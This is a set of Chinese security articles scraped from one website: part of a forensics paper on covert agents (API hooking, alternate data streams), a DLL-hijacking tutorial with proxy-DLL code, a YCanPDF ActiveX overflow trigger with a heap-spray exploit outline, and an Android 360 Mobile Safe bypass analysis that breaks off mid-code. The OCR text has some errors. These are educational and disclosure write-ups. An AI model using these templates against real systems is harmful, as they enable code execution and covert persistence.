bWatchSubtree,DWORDdwNotifyFilter,HANDLE hEven~BOOLfAsynchronous) 當函數成功返回后,應用程序可通過WaitfFor- SingleObject來等待發生改變的通知。WaitForS. ingleObject(hchange,dwmilliseconds)中hchange為 創建的事件句柄,dwmilliseconds為等待時間值。在事 件響應程序中,對注冊表進行備份,然后通過與原備 份進行比較,最后得出注冊表修改的位置和內容,并 給出修改時的時間。最后在結束監視程序之前用 FindCloseChangeNotification(hchange)來關閉句柄。 如要監測預定目錄下文件的變化,可通過兩個 API函數實現:FindFirstChangeNotificationO、FindN0- extChangeNotificationO。實現過程與監控注冊表變化 類似,在這里省略之。 3.2獲取策略 為了高效地獲取各種數據,減少采集到海量的無 用數據,以便減輕網絡通信壓力和后面的數據分析壓 力,就需要制定一個有效的數據獲取策略。 我們在各個客戶端的取證Agent集成了基于誤用 檢測模型的IDS,對各自的主機的活動進行監測,所 有的取證Agent可實現一個分布式的IDS,可檢測網 絡中單機無法檢測的協同攻擊。同時按照定義的規則 庫發現主機上有異常行為發生時,立即向管理服務器 發出警報,并發布危險等級。危險等級可以根據規則 的危險程度分為正常、警告、危險三個等級。將規則 庫分為犯罪特征庫和異常規則庫,而兩個庫之間的關 系為:犯罪特征庫異常規則庫,即計算機犯罪行為有 一 定的異常表現。當行為符合犯罪特征時,則發出危 險等級;當行為符合異常規則時,則發出警告等級; 否則為正常等級。管理服務器則按照相應的危險等級 觸發采集模塊按照一個合適的時間隔采集數據,并根 據異常類型有針對性地采集特定數據。采取這種策略 能有效減少采集到海量的無用數據。 3_3取證過程隱秘技術 取證過程隱秘的目的是為了取證活動不被主機用 戶感知和終止,達到對主機作為作案目標和作為作案 工具兩種情況下的取證目的,主要涉及到自動加載技 術、進程隱藏技術和文件隱藏技術。 (1)自動加載技術 自動加載目的是在被取證主機運行時,能自動啟 動取證客戶端程序,典型的方法有修改注冊表啟動項、 添加Windows任務計劃、注冊為系統服務。前兩種方 法操作比較簡單,但容易被用戶修改,隱藏性較低。 在Windows2000/)(P/2003系統中,為了節省系統資源, 微軟把很多服務做成共享方式,交由svchosLexe進程 來啟動。svchost進程只作為服務宿主,并不實現任何 服務功能,只是提供條件讓其它服務在這里被啟動。 注冊為系統服務的程序運行穩定,并且在后臺運行, 在“進程管理器”中不可見,有一定的隱藏性。 (2)進程隱藏技術 進程隱藏目的是在被取證主機上實施取證工作 時,取證進程不被被取證機用戶感知。目前具有代表 性的進程隱藏技術主要有:HookingAPI技術、遠程線 程插入技術、動態鏈接庫插入技術等[9】。本系統使用 了HookingAPI技術,它基本思想是:通過特殊的編 程手段截獲windows系統調用的API函數,使其他調 用這些API函數的程序轉向Hook函數,在Hook函數 中將需要隱藏的進程信息去掉,然后返回給調用程序, 就達到進程隱藏的目的。 (3)文件隱藏技術 文件隱藏目的有兩個,一是隱藏取證程序文件, 二是采集到證據之后,在把證據文件傳輸到取證服務 器之前,為了不被用戶發現和破壞,隱藏證據文件。 在windows平臺可利用基于文件過濾驅動實現文件隱 藏和利用流文件實現文件隱藏等。基于ADS的文件隱 藏方法就是一個利用流文件實現文件隱藏的有效方法[1ol。 ADS即NTFS備份數據流(alternativedatastreams,簡 稱ADS),是NTFS的一個數據流屬性,將用戶數據 存入ADS其大小和內容往往對用戶是不可見的。 4系統實現和測試 綜合以上技術,我們用C++編程實現了各個功能 模塊,系統服務器端的主界面如圖2所示。 我們在一個局域網中進行了下列測試: ①被保護系統上的取證信息范圍 證據收集器能夠采集各種可能的證據信息。在動#p#分頁標題#e# 態取證系統運行一段時間后,可以在在取證服務器中 查詢到用戶正在運行的進程信息、用戶最近編輯過的 文件信息、最近訪問的網站信息、系統日志信息、注 冊表修改記錄、鍵盤操作記錄、網絡數據包信息等。 如圖3所示。此外,這些取證信息的種類還可以通過 證據收集器的添加實現擴展。 ②同時對多臺被保護主機的取證能力 在動態取證系統運行一段時間后,可以在取證服 務器中查詢到多臺被保護系統的取證信息。這種同時 對多臺被保護主機進行取證的能力極大地提高了系統 的適應性。 ③客戶端的隱秘性 因為已經把客戶端程序注冊為系統服務,所以客 戶端在操作系統開機時交由sv~chost.exe進程來啟動, 并且是在后臺運行,在“進程管理器”中不可見,只是 在任務管理器中多了一個svchost.eX~進程,具有較好 的隱秘性。 5結束語 本文設計的基于windows平臺的動態取證系統具有如下優點: ①能高效地獲取多種數據源。在客戶端結合入侵 檢測系統,實時監控主機中多種數據源,并根據被取 證主機的異常情況按照預定的策略收集數據,提高了 數據獲取的效率,減少了無用的數據。 ②具有對網絡中各主機在作為犯罪目標和犯罪工 具時的動態實時取證能力。使用隱秘技術對取證過程 進行了隱秘,在一定程序上避免被保護主機上的相關 證據可能受到入侵者或者用戶本人的篡改、刪除。同 時,把證據傳輸到取證服務器過程中進行了加密簽名, 保證了證據的安全性、完整性和抗抵賴性。 ③具有取證信息的易擴展性和靈活的證據處理 和分析方式。在本系統模型下可以根據應用環境和需 要,對證據采集器的種類、證據分析的方式和分析算 法進行調整,使取證系統具有可擴展性。 下一步的改進工作包括采用更多的信:息采集技術 以擴充取證模型,研究證據分析算法,使取證分析更 準確、更高效等。 Windows縮略圖緩存文件的分析和取證.pdf http://www.ionrce.tw/uploads/allimg/120423/1-120423213IaY-lp.jpg 計算機取證,動態取證,獲取技術,隱秘技術 windows admin 未知 2012-04-23 21:55 DLL劫持漏洞原理與攻擊文件構造 http://www.ionrce.tw/xitonganquan/20120422841.html 近期網絡機房電腦大范圍報毒,病毒文件為USP10.DLL,該病毒繁殖能力強,很容易 復發。在分析此病毒后,發現該病毒利用的漏洞正是被業界稱為末日漏洞的DllHijack 漏洞(DLL 劫持漏洞)  近期網絡機房電腦大范圍報毒,病毒文件為“USP10.DLL”,該病毒繁殖能力強,很容易 復發。在分析此病毒后,發現該病毒利用的漏洞正是被業界稱為“末日漏洞”的DllHijack 漏洞(DLL 劫持漏洞),此漏洞影響較大,很多病毒都采取這種技術攻擊用戶電腦,讓廣大 網管員們頭痛不已。本文深入分析了該漏洞的形成原理并通過編寫攻擊文件驗證此漏洞的危 害,最后提出應對方案,希望對朋友們有所幫助。 一、DLL 劫持漏洞原理與攻擊文件構造     1、原理分析     當一個可執行文件運行時,Windows加載器將可執行模塊映射到進程的地址空間中,加 載器分析可執行模塊的輸入表,并設法找出任何需要的 DLL,并將它們映射到進程的地址空 間中。     由于輸入表中只包含DLL 名而沒有它的路徑名,因此加載程序必須在磁盤上搜索DLL 文件。而這里DLL 文件的搜索順序遵循以下順序:     (1)可執行程序加載的目錄     (2)系統目錄      (3)16位系統目錄     (4)Windows目錄      (5)文檔運行目錄     (6)PATH環境變量中列出的目錄 這個就是 windows 系統的目錄優先權。利用這個特點,攻擊者先偽造一個系統同名的DLL, 提供同樣的輸出表,每個輸出函數轉向真正的系統DLL。程序調用系統DLL時會先調用當前 目錄下偽造的DLL,完成相關功能(惡意代碼或程序補丁)后,再跳到系統DLL 同名函數里 執行。這個過程用個形象的詞來描述就是系統DLL被劫持(Hijack)了。       2、攻擊文件構造      了解了DLL 劫持具體原理后,就讓我們來動手編寫攻擊文件,再現USP10.DLL病毒。      測試環境:Windows XP SP3  5.1.2600 Service Pack 3 Build 2600       編程環境:Delphi 2007      工具軟件:ViewDLL,進程查看器      (1)用Delphi 2007 新建一個DLL工程命名為USP10。      (2)運行ViewDLL軟件,加載系統目錄下的正常 USP10.DLL文件,記下該 DLL 文件的 所有導出函數名。(圖1)  (3)用 Delphi 2007編寫代碼,構造與真正USP10.DLL文件相同的導出表,完成所有 導出函數的轉發,編寫攻擊代碼。     這里只是做演示,所以攻擊代碼只是簡單的運行一個程序:        WinExec('notepad.exe',sw_normal);  //運行記事本程序 篇幅原因以下只列出關鍵代碼。 ①定義轉發目標指針: var POldLpkPresent: Pointer;   POldScriptApplyDigitSubstitution: Pointer;   POldScriptApplyLogicalWidth: Pointer;    ...... ②填充轉發指針: ModHandle:= LoadLibrary('C:\WINDOWS\system32\usp10.dll');   if ModHandle > 0 then begin    POldLpkPresent:= GetProcAddress(ModHandle, 'LpkPresent');      POldScriptApplyDigitSubstitution:= GetProcAddress(ModHandle,'ScriptApplyDigitSubstitution');      POldScriptApplyLogicalWidth:= GetProcAddress(ModHandle,'ScriptApplyLogicalWidth');     ...... ③完成轉發過程: procedure LpkPresent; asm jmp POldLpkPresent end; procedure ScriptApplyDigitSubstitution; asm jmp POldScriptApplyDigitSubstitution end;   procedure ScriptApplyLogicalWidth; asm jmp POldScriptApplyLogicalWidth end;    ......  ④構造導出表: exports LpkPresent, ScriptApplyDigitSubstitution, ScriptApplyLogicalWidth, ......  完成整個模板編寫后就可以把攻擊代碼加入執行過程完成測試文件的構造了。     這里要注意的是在調用函數完成攻擊過程時不可用到所劫持DLL 導出的函數,也就是如 果要劫持 USP10.DLL文件,那就不能用USP10.DLL所提供的任何函數。     (4)測試攻擊效果     測試 EXE 文件選用系統自帶的計算器程序CALC.EXE,把編譯好的USP10.DLL文件拷貝 到和 CALC.EXE同一目錄下,運行CALC.EXE,這時你會發現不光是運行了計算器程序,記事#p#分頁標題#e# 本程序也同時運行起來了(圖2)。 用進程查看器查看下CALC.EXE進程(圖 3) 發現計算器程序確實先加載了我們構造好的USP10.DLL,然后由偽裝后的USP10.DLL加載了 真正的 USP10.DLL。     通過以上測試,我們發現 DLL 劫持漏洞確確實實的存在,而且造成的后果非常嚴重,但 是此漏洞僅僅存在于Windows操作系統內部嗎?答案是否定的! 二、新型DLL 劫持漏洞原理與攻擊文件構造     2010年08月24日,微軟發布安全公告2269637,提到三方軟件編程不安全,存在一個 DLL 劫持的缺陷可以導致遠程攻擊。     2010年08月24日,流行的漏洞信息共享網站exploit-db馬上就爆出多個DLL劫持漏 洞,涉及的軟件有: Wireshark (免費嗅探器), Windows Live email (郵箱客戶端), Microsoft MovieMaker (視頻編輯處理), Firefox (網頁瀏覽器), uTorrent  (BT 下載工具), PowerPoint 2010(辦公軟件)等。     2010年 08月 25日-26日,漏洞信息共享網站exploit-db繼續爆出Winamp,Google Earth,Photoshop等軟件存在 DLL 劫持漏洞。 在安全組織exploit-db公布的存在DLL 劫持漏洞的軟件列表中,包括:AutoCAD 2007、 Daemon tools、Winamp、Media Player Classic、Mozilla Thunderbird、Microsoft Office、 Adobe Photoshop 、Adobe Dreamweaver CS5、Skype、Safari、WinDVD、Opera、Firefox   等都位列其中。安裝了上述軟件的電腦,當用戶在打開一個圖片、音樂、視頻、BT種子、 網頁文件都有可能感染病毒。 當攻擊者利用DLL劫持漏洞構造一個特殊的DLL文件,將這 個 DLL文件打包到一些JPG、PPT、MP3、MPG、Html文件中分發,用戶解壓后雙擊打開這些 文檔,病毒即被立即觸發。     1、新型DLL 劫持漏洞形成原理:     應用程序為了擴展或者兼容等目的需要加載相應的DLL 文件,但是因為某些原因導致這 個 DLL文件默認不存在于當前系統,此時就會嘗試加載文檔所在目錄下的惡意DLL文件,從 而達到破壞的作用。這里運行的文檔(比如mp3)相當于觸發者,根據文件關聯它會啟動一 個應用程序去播放mp3 文件。而因為應用程序存在DLL 劫持漏洞(比如Winamp),此時Winamp 就會因為設計上的不足導致成為惡意DLL的加載器。新型DLL 劫持漏洞構成的危害簡直達到 了運行圖片或音頻文件就會執行惡意代碼的地步。     2、攻擊文件構造     為了更好的說明新型DLL漏洞危害性,我們來具體演示下,這里選取的軟件為Microsoft Office 2007 中的Word軟件。     測試環境:Windows 7  6.1.7601 Service Pack 1 Build 7601      編程環境:Delphi 2007     工具軟件:漏洞檢測軟件     (一)用漏洞檢測軟件檢測Word2007,發現存在DLL劫持漏洞,檢測報告如下:  Application: WINWORD.EXE  Version: 12.0.6211.1000  Company Name: Microsoft Corporation  Product Name: 2007 Microsoft Office system  File Date: 28-08-2007 Detailed Report: 從以上報告可以看到Word2007在打開DOC 或DOCX文檔時引發了DLL 劫持漏洞,漏洞文件為 IM****.DLL(為了安全,這里將具體文件名隱去,請諒解)。    (二)用 Delphi2007 軟件編寫代碼。這里我們只寫攻擊代碼即可,不用再完全按照原 DLL 構造導出表了(會引起軟件崩潰,只是測試)。 具體代碼如下: library im****; uses windows; begin MessageBox(0,'測試成功,存在漏洞!','DLL劫持漏洞測試',MB_OK);  //彈窗測試 end.     (三)測試攻擊效果  在任意目錄下新建DOC(DOCX)文檔,將編譯好的偽造IM****.DLL拷貝到同一目錄下, 運行 DOC(DOCX)文檔(圖4) 圖4 Word2007漏洞測試 可以看到 Word2007確實存在DLL劫持漏洞,造成的結果是,你在打開一個Word文檔的時候 病毒卻已在后臺監視你的一舉一動!#p#分頁標題#e#     同時給出常用軟件Photoshop CS3的漏洞測試截圖(圖5)。  新型 DLL 劫持漏洞造成的影響比老式DLL劫持漏洞更廣泛,而面對如此嚴重的漏洞,微 軟沒有提供有效的免疫方案可以使用,只能靠使用者小心為妙了。 三、應對DLL 劫持     DLL 劫持利用系統未知DLL的搜索路徑方式,使得程序加載當前目錄下的系統同名DLL。 所以可以首先告訴系統DLL的位置,改變加載系統DLL 的順序不是當前目錄,而是直接到系 統目錄下查找。這個想法可以通過修改注冊表實現。鍵值 “ HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs” 是調用系統DLL 的首要查找目錄。例如里面有RE_SZ類型的“ntdll” =“ntdll.dll”項,則系統載入“ntdll”時會直接從系統目錄加載。因此,添加“usp10” = “usp10.dll”即可防止USP10.DLL被劫持,同理可以阻止一些其他DLL 被劫持。在 Windows XP 系統下默認只有少數關鍵 DLL 在此鍵值中,Windows7 下面此鍵值已經相當齊全,在 Windows7系統下發生DLL劫持的概率要比XP小很多,因此可以考慮升級操作系統到Windows 7。     對于新型DLL 劫持,因為沒有十分有效的應對方式,所以用戶要養成運行文檔(圖片、 音樂、視頻、網頁文件等)前檢查目錄下文件的習慣,開啟顯示隱藏文件和顯示系統文件選 項,防止通過應用程序加載惡意DLL。     本文通過USP10.DLL病毒引入了DLL劫持漏洞的概念,從原理上分析漏洞形成的原因、 利用方法和解決方案。希望對從事相關工作的戰友有所幫助。 http://www.ionrce.tw/uploads/allimg/120422/1-120422160133955-lp.jpg dll劫持 dll 漏洞編程 系統安全 admin 未知 2012-04-23 21:42 優看PDF在線閱讀控件遠程代碼執行漏洞 http://www.ionrce.tw/xitonganquan/20120425861.html 朋友的公司要做一個項目,其中需要在網頁中打開PDF文件,所以準備購買一款在線閱 讀PDF文件的控件產品。經過調研,他們準備選擇國內一款名為優看的在線閱讀PDF文件 的控件產品。這 朋友的公司要做一個項目,其中需要在網頁中打開PDF文件,所以準備購買一款在線閱 讀PDF文件的控件產品。經過調研,他們準備選擇國內一款名為“優看”的在線閱讀PDF文件 的控件產品。這款產品是由西安優看電子科技有限公司開發的,在朋友公司的初步測試中, 該產品符合項目需要,安全測試結果也比較滿意,但是,朋友還是不夠放心,于是邀請我測 試一下,以防萬一。   從西安優看電子科技有限公司的官方網站上,我們下載了優看PDF在線閱讀控件的最 新版本,該版本以壓縮包形式發布,解壓后可以獲得四個文件,其中名為“PDFView.cab” 的文件就是核心控件,而“PDFTest.html”則是一個由官方提供的測試網頁文件。在本地計 算機上利用ASP本地測試工具搭建了一個Web測試環境,用記事本程序打開“PDFTest.html”, 我們需要修改其中的一些參數,主要有以下幾個地方:  <object id="YCanPDF" classid="clsid:474C1AB2-EFA5-4A19-9267-BA38B685C74A"          codebase="http://127.0.0.1/pdfview.cab#version=3,4,0,0"     width = 780 height = 500> function OpenURL() {   YCanPDF.SetRCURL("http://www.ycanpdf.cn/rc/SC_TC_JP_KR.CAB",0);// 加載字體資源,只支持絕對路徑     var n=YCanPDF.SetURL("http://127.0.0.1/YCanPDF PDFView OCX 3.4.0.0接 口文檔.pdf","");// 打開網絡的PDF文件 上述代碼標紅的地方,原本的網址是指向優看官方網站的,這里因測試需要,我們暫 時修改為了本地計算機的回環地址,即127.0.0.1。 將優看PDF在線閱讀控件壓縮包文件全部解壓到Web目錄下,運行瀏覽器訪問 “PDFTest.html”文件,此刻會出現一個安裝控件的提示,如圖1所示。 直接點擊“安裝”按鈕,系統會自動注冊優看PDF在線閱讀控件。控件注冊完畢后, 點擊“打開網絡”按鈕,這是我們就可以在瀏覽器中看到“YCanPDF PDFView OCX 3.4.0.0 接口文檔.pdf”文件的內容,如圖2所示。 通過“YCanPDF PDFView OCX 3.4.0.0 接口文檔.pdf”文件,我們可以知道優看PDF 在線閱讀控件有 34 個外部接口函數,并且其參數大部分都是字符串類型,這其中,很多都 代表文件的名稱,如long SetFileName(LPCTSTR filename, LPCTSTR password, long lParams),這個外部接口中,第一個參數filename就代表著要被打開的PDF文件名稱。之所 以我們非常關心這些參數的類型和意義,是想要測試發現優看PDF在線閱讀控件會不會存在 緩沖區溢出漏洞,可是,在實際的測試中,我們發現優看PDF在線閱讀控件對超長的字符串 文件名稱做了一定防范,或者說不是防范而是借助系統函數本身處理錯誤的機制避免了緩沖 區溢出漏洞的發生。舉個例子來說明一下,例如我們給“long SetURL(LPCTSTR szFilePath, LPCTSTR szPassword);”這個用來打開網絡上PDF文件的外部接口傳遞一個超長的文件名參 數szFilePath,在測試中,瀏覽器就會給出下載失敗的提示,如圖3 所示。 看了上面的測試結果,我們似乎不指望能夠發現優看PDF在線閱讀控件的什么安全漏 洞了,但是,安全測試需要嚴謹的態度,我們前面只是對優看PDF在線閱讀控件的外部接口 函數做了單獨測試,并沒有將這些參數結合起來進行系統化的測試,所以,我們的測試還不 全面,不能輕言放棄測試。 在閱讀優看PDF在線閱讀控件的說明書時,我們發現了一個有趣的外部接口函數: long SearchStr(LPCTSTR strKey, long bCaseSensitive, long bAllPages)。該函數的作用是用 來在打開的PDF文件中搜索指定的字符串。如果單獨調用這個函數,并傳遞給它一個超長字 符串,測試代碼這樣寫:var a=Array(60000);YCanPDF.SearchStr(a,0,0);。瀏覽器只會提 示出“沒找到”,如圖4所示。  出現這樣的結果原因很簡單,主要是由于當前沒有打開任何PDF文件,搜索函數無法正常#p#分頁標題#e# 運行。現在,我們修改一下代碼,首先利用“long SetURL(LPCTSTR szFilePath, LPCTSTR szPassword);”外部接口打開網絡上的某個PDF文件,然后再調用“long SearchStr(LPCTSTR strKey, long bCaseSensitive, long bAllPages)”外部接口查找一個過長字符串,看一看 會有什么結果。具體測試部分代碼為:  function OpenURL() {         var a=Array(600);       var n=YCanPDF.SetURL("http://127.0.0.1/YCanPDF PDFView OCX 3.4.0.0 接口文檔.pdf","");// 打開網絡的PDF 文件         YCanPDF.SearchStr(a,0,0); }  這一次,使用瀏覽器打開修改后的測試網頁文件,點擊“打開網絡”按鈕,我們發現 了新的結果,如圖5所示。 終于看到了一個出錯的畫面,圖5 中的“0x2c2c2c2c”這個內存地址顯然來自于我們 測試代碼中的變量a。從出錯提示,我們推斷變量a覆蓋了程序一個關鍵的內存地址,造成了 程序發生讀取內存地址失敗的錯誤。要想知道更加細節的原因,我們可以使用OllyDBG程序 來進行調試,如圖6所示。 從圖 6 中,我們看到在出錯的時候,ECX寄存器被變量a所覆蓋,程序運行到“mov edx,dword ptr[ecx]”這條指令時,由于無法讀取ECX寄存器所指向的內存地址,從而發生 了讀取錯誤。但是,此刻,我們發現在出錯指令的下方,第三行的位置,有一條指令“call eax”,如果我們可以控制EAX寄存器,我們就可以執行任意代碼了。而在這條指令之上,我 們可以發現EAX寄存器的值取決于EDX寄存器,而EDX寄存器的值就來自于前面被我們覆蓋的 ECX寄存器!至此,我們終于明白了,EAX寄存器的值來自于[[ECX]],也就是EAX寄存器的值 間接的來自于ECX寄存器所指向的內存地址。我們可以這樣構造攻擊代碼,首先通過 heapspray覆蓋一片內存,如0x0c0c0c0c,這片內存地址又被0x0c0c0c0c這樣的數值所填充, 在ECX寄存器被 0x0c0c0c0c這個內存地址所覆蓋后,兩次mov指令最終還是指向了 0x0c0c0c0c這個內存地址,只要將ShellCode放置在這個內存地址塊的最后,當“call eax” 指令被執行時,我們的ShellCode最終也會被順利執行。還有一種比較難的方法,就是找到 一個內存地址能夠間接間接地指向一條call ebx或者jmp ebx指令,注意這里是兩個間接, 因為出錯的時候,EBX寄存器指向的正好就是變量a所在的棧空間地址。這個內存地址的尋找 需要大量的時間,我暫時沒有找到,有興趣的讀者可以自行尋找測試一下,也算是一個挑戰 吧! 現在,漏洞被我們發現了,exploit的代碼構造思路也有了,相信寫出一個攻擊代碼 是非常簡單的事情了。不過需要說明的是,這種攻擊代碼在IE6瀏覽器下應該會順利執行, IE7、8 的DEP會阻止代碼執行,需要繞過DEP才行,所以,我想我們可以借助Java來實現最 完美的攻擊代碼,具體細節可以參考王清那本《0day安全:軟件漏洞分析技術(第二版)》, 這里就不再贅述了。   最后,本文旨在討論安全技術,請讀者不要使用本文技術進行任何違法行為,一切后 果作者和雜志概不負責。同時,希望西安優看電子科技有限公司能夠技術修補漏洞,為廣大 客戶提供更加可靠優秀的PDF閱讀控件產品。 http://www.ionrce.tw/uploads/allimg/120425/1-120425203AJ39-lp.jpg 遠程執行漏洞,閱讀控件,優看PDF 系統安全 admin 未知 2012-04-23 21:41 擊潰360手機衛士的三大防護Android版 http://www.ionrce.tw/xitonganquan/20120419830.html 360 作為國內專業的安全公司,在安全界的水平是有目共睹的,我們拋開它在經營與病 毒防治上的一些極端措施,就其產品技術性而言,是廣大安全愛好者應該學習的。今天我與 大家探 360 作為國內專業的安全公司,在安全界的水平是有目共睹的,我們拋開它在經營與病 毒防治上的一些極端措施,就其產品技術性而言,是廣大安全愛好者應該學習的。今天我與 大家探討下在 Android 平臺上 360 手機衛士這款產品其本身的安全性,并將自己研究時的一 點小成果拿出來與大家分享。Android 手持設備的私密性注定了這是一個敏感話題,在開始本文前,我鄭重聲明:本文的宗旨是讓大家看到 Android 平臺的可能的攻擊方式,僅供技術學習交流,任何個人與組織不得用文中提到的技術手段對其它人或組織進行非法攻擊,由此帶來的一切法律責任本人概不負責。 測試環境 360 手機衛士不支持在模擬器上使用,我使用 ROOT 過的(本文所有研究測試條件建立 在手機已獲得 ROOT 權限的情況下)國行 MOTO XT615 進行安裝測試,而 360 的版本選擇了最 新的“360 手機衛士賀歲版 2.5.1”,APK 的反編譯工具由于方便而選擇了 ApkTool_GUI,Smali 代碼的查看與分析選擇了 Editplus(IDA PRO6.1 也可以,只是對包名的顯示不太友好,自 己寫插件的話也行,不過不在討論范圍),另外 ApkTool_GUI 有個 dex2jar 功能,也可以做 輔助分析(只是生成的代碼不是很準確,對于 synthetic 類型的方法不生成代碼)。編寫與 調試代碼用到了 Eclipse,調試信息的查看與 XML 文件的導出用到了 DDMS。準備好調試環境 后,正確安裝 360 手機衛士,開始 360 保護功能的艱苦分析之旅吧! 短信攔截 360 手機衛士第一個強大的功能就是垃圾短信與電話的攔截,它的實現方式主要通過創 建廣播對信息與電話進行攔截,然后將其阻斷。 打 開 “ AndroidManifest.xml ” 文 件 , 會 發 現 里 面 有 一 個 名 為 “com.qihoo360.mobilesafeguard”的 provider,然后是 N 多的 service 與 receiver,短 信的攔截就用到了下面這個 receiver: <receiver android:name=".mms.receiver.MmsReceiver"> <intent-filter android:priority="2147483647"> <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" /> <data android:mimeType="application/vnd.wap.mms-message" /> </intent-filter> <intent-filter android:priority="2147483647"> <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" /> <data android:mimeType="application/vnd.wap.sic" /> </intent-filter> <intent-filter android:priority="2147483647"> <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" /> <data android:mimeType="application/vnd.wap.slc" /> </intent-filter> </receiver> Android 的廣播有無序廣播與有序廣播兩種,靜態注冊的廣播屬于有序廣播,通過設置 “priority”來設置廣播優先級。系統默認設置范圍是-1000~1000 之間,但 SDK 中可能沒 有明確的數值限定,可以看到 360 將 priority 設置為了 2147483647,也就是 32 位有符號 數的最大值。也就是試圖設置最高響應優先級。Android 系統會首先響應優先級高的廣播, 然后響應優先級低的,另外動態注冊的廣播又比靜態注冊的廣播優先級高,如果優先級相同 就響應最早安裝的程序,而優先級是“adb install”高于“adb push 后安裝”方式。 運行 360 手機衛士, 可以看到它啟動了一個進程與五個服務,服務名分別 為 “  NetTraficService ”、 “  safeGuardMmsService ”、 “  PowerCtlService ”、 “SafeManageService”、“SafeGuardCallService”,在“safeGuardMmsService”的 onCreate() 方法中又創建了級別最高的動態廣播接收者。具體分析代碼我下面會講到(360 所有服務位 于“ smali\com\qihoo360\mobilesafe\service ”文 件夾 下, 所有 的廣播 接收 者位 于 “smali\com\qihoo360\mobilesafe\receiver”文件夾下),手動殺掉 360 進程根本不影響 短信的攔截,下面說下過掉 360 短信攔截的兩種思路: 1.360 短信攔截借助了自己優先響應廣播的優勢獲取信息后就中斷了廣播,我們要做 的是在它之前先響應廣播,而且 360 在靜態廣播中創建了服務,并再次動態創建了同類型的 廣播接收者,所以優先級很高,要過掉它我們就必須在它的前面注冊廣播接收者,或者干掉 它所有的進程與服務不讓它運行。顯然后者動作太過于明顯,不太適合。 2.將 APK 編譯成系統程序,如:加入系統進程、使用 Framework 的簽名文件進行簽名 等等。這樣可能會優先接收到廣播。不過由于時間原因,未測試此方法是否可行。#p#分頁標題#e# 上面第一種思路是分析所得的結果,思路如下,首先,要知道 360 是何時注冊的廣播接 收者,打開“smali\com\qihoo360\mobilesafe\receiver\MessageReceiver.smali”文件, 它 就 是 短 信 接 收 者 , 直 接 看 “onReceive(Landroid/content/Context;Landroid/content/Intent;)V”代碼如下: .method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V .locals 5 const/4 v4, 0x0 sget-boolean v0, Lcom/qihoo360/mobilesafe/service/MobileSafeService;->c:Z if-eqz v0, :cond_0 sget-boolean v0, Lcp;->f:Z if-eqz v0, :cond_1 :cond_0 :goto_0  #MobileSafeService->c 與 cp->f 條件判斷 return-void :cond_1 const-class v0, Lcom/qihoo360/mobilesafe/service/SafeGuardMmsService; # 獲取 SafeGuardMmsService 類 -->>  v0 = SafeGuardMmsService.class invoke-virtual  {p2,  p1,  v0}, Landroid/content/Intent;->setClass(Landroid/content/Context;Ljava/lang/Class;)L android/content/Intent; #?  p2 為 第 二 個 參 數 , -->>  p2.setClass( 參 數 1, SafeGuardMmsService.class); invoke-static {}, Lawv;->a()I move-result v0 const-string v1, "MessageReceiver" new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V const-string v3, "onReceive::SDKVer =" invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual  {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v2 invoke-static {v1, v2}, Lals;->b(Ljava/lang/String;Ljava/lang/String;)V #調用 als->b(),猜測為打 log const/4 v1, 0x4 if-le v0, v1, :cond_2  #判斷 SDK 版本是否大于 4 :try_start_0 const-class v1, Landroid/content/BroadcastReceiver; const-string v2, "isOrderedBroadcast"  #是否為有序廣播 const/4 v0, 0x0 check-cast v0, [Ljava/lang/Class; invoke-virtual  {v1,  v2,  v0}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava /lang/reflect/Method; #獲取方法,用來判斷是否為有序廣播 move-result-object v1 const/4 v0, 0x0 check-cast v0, [Ljava/lang/Object; #0 類型轉換為 Object invoke-virtual  {v1,  p0,  v0}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/ lang/Object;  #調用判斷方法 move-result-object v0 check-cast v0, Ljava/lang/Boolean; invoke-virtual {v0}, Ljava/lang/Boolean;->booleanValue()Z  #結果轉換為 Boolean 值 :try_end_0 .catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0 move-result v0 :goto_1 if-eqz v0, :cond_3  #如果為 0 就跳走(開啟保護),為有序廣播就繼續處理 invoke-direct  {p0,  p1,  p2}, Lcom/qihoo360/mobilesafe/receiver/MessageReceiver;->a(Landroid/content/Context; Landroid/content/Intent;)V #?  調用 a()方法? :goto_2 invoke-static {p1}, Lcp;->c(Landroid/content/Context;)V goto :goto_0  #返回 :catch_0  #catch 處理 move-exception v0 const-string v1, "MessageReceiver" new-instance v2, Ljava/lang/StringBuilder; invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V const-string v3, "invoke error "  #生成錯誤提示字符串 invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v2 invoke-virtual {v0}, Ljava/lang/Exception;->toString()Ljava/lang/String; move-result-object v0 invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; move-result-object v0 invoke-virtual  {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; move-result-object v0 invoke-static {v1, v0}, Lals;->b(Ljava/lang/String;Ljava/lang/String;)V #這里打 log 顯示 move v0, v4 goto :goto_1 :cond_2 move v0, v4 goto :goto_1 :cond_3 invoke-virtual {p1, p2}, Landroid/content/Context;->startService(Landroid/content/Intent;)Landroid/conte nt/ComponentName; #?  啟用了 SafeGuardMmsService 服務(開啟舒膚佳短信服務*^_^*)? goto :goto_2 .end method 在 onReceive()收到廣播后,對消息進行判斷,對是否為有序廣播執行了 a()與開啟#p#分頁標題#e# 舒膚佳服務的兩個分支,a()方法是很典型的消息處理代碼,收到消息后對廣播進行了中斷, 由于 代碼過長 ,我就不帖 出來了, 大家可以自 己打 開 Small 看看, 另一個 是 SafeGuardMmsService 了,它的 onCreate()代碼如下: .method public onCreate()V .locals 4 invoke-super  {p0}, 